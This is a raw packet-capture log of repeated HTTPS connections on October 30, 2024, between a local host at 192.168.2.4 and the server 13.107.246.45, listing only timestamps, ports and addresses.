Oct 30, 2024 02:28:30.731409073 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.731409073 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.731440067 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.731467009 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.739609957 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.739691019 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.739835024 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.740056992 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.740089893 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.867774010 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.871094942 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.871107101 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:30.871675968 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:30.871680975 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.002080917 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.002154112 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.002216101 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.002233028 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.002285957 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.002335072 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.002465963 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.002475023 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.002485991 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.002490044 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.005543947 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.005558968 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.005640030 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.005800009 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.005812883 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.176024914 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.176538944 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.176549911 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.177125931 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.177130938 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.184427977 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.184859037 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.184901953 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.185368061 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.185389042 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.188086033 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.188580036 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.188601017 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.189060926 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.189066887 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.304248095 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.304317951 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.304387093 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.304397106 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.304452896 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.304517984 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.304660082 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.304666042 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.304677010 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.304681063 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.307750940 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.307782888 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.307862997 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.308039904 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.308053017 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.314030886 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.314096928 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.314168930 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.314260006 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.314260006 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.314311981 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.314338923 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.316699028 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.316730022 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.316808939 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.316941977 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.316953897 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.317316055 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.317476988 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.317534924 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.317586899 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.317598104 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.317609072 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.317612886 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.319680929 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.319710970 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.319772005 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.319885969 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.319896936 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.487410069 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.488063097 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.488130093 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.488689899 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.488707066 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.618170023 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.618345022 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.618447065 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.618529081 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.618566990 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.618592024 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.618606091 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.621491909 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.621514082 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.621612072 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.621773005 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.621788025 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.732714891 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.733264923 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.733278036 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.734002113 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.734008074 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.860424042 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.860492945 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.860541105 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.860553980 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.860614061 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.860661983 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.860781908 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.860794067 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.860802889 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.860807896 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.864388943 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.864429951 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:31.864556074 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.864716053 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:31.864732981 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.027354956 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.027893066 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.027959108 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.028534889 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.028549910 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.063883066 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.066622972 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.066639900 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.067234039 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.067240953 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.071083069 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.071521997 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.071544886 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.072081089 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.072088003 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.158945084 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.159158945 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.159229994 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.159642935 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.159665108 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.159684896 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.159694910 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.163080931 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.163117886 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.163213015 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.163398027 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.163412094 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.194940090 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.194964886 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.195002079 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.195036888 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.195080042 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.195303917 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.195327044 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.195348024 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.195353985 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.198097944 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.198148012 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.198237896 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.198430061 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.198448896 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.212405920 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.212476969 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.212554932 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.212671995 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.212682962 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.212694883 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.212698936 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.215145111 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.215156078 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.215230942 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.215400934 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.215416908 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.348268032 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.351551056 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.351563931 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.352196932 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.352204084 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.477220058 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.477297068 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.477350950 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.477596045 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.477596045 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.477610111 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.477618933 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.481112003 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.481167078 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.481246948 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.481559038 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.481580973 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.601749897 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.602408886 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.602444887 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.603017092 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.603024960 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.730869055 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.730943918 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.731041908 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.731067896 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.731136084 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.753377914 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.753432989 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.753456116 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.753467083 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.756815910 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.756870985 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.756953001 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.757158995 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.757179976 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.923059940 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.929074049 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.940155983 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.940186977 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.941082954 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.941088915 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.946579933 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.947091103 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.947099924 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.947633028 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.947637081 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.947738886 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.947766066 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:32.948266029 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:32.948271990 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.074706078 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.074888945 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.074974060 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.075263023 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.075287104 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.075300932 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.075309038 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.075535059 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.075995922 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.076057911 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.076543093 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.076579094 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.076630116 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.076637983 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.076687098 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.076939106 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.076956987 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.076970100 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.076975107 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.078033924 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.078042030 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.078063965 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.078067064 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.081943035 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.081978083 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.082047939 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.082791090 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.082839966 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.082914114 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.083415031 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.083422899 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.083481073 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.083811998 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.083826065 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.083964109 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.083982944 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.084073067 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.084081888 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.218008041 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.221259117 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.221282005 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.222008944 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.222014904 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.357320070 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.357471943 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.357635975 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.357665062 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.357687950 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.357700109 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.357707024 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.381218910 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.381246090 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.381419897 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.381504059 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.381515980 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.493196964 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.514014006 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.514034033 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.514631987 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.514636993 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.641524076 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.641619921 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.641684055 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.645570993 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.645591021 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.645608902 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.645613909 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.649005890 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.649049997 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.649132967 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.649259090 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.649275064 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.834292889 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.834358931 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.834888935 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.834922075 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.835500002 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.835509062 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.835913897 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.835927010 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.836568117 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.836571932 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.836913109 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.837271929 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.837287903 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.837857008 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.837861061 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.966206074 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.966363907 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.966432095 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.966597080 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.966610909 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.966622114 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.966626883 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.969552994 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.969597101 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.969693899 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.969842911 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.969857931 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.992142916 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.992225885 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.992289066 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.992302895 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.992367029 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.992418051 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.992528915 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.992542028 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.992551088 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.992556095 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.994766951 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.994816065 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:33.994901896 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.995026112 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:33.995043039 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.112992048 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:34.113020897 CET	443	49969	13.107.246.45	192.168.2.4
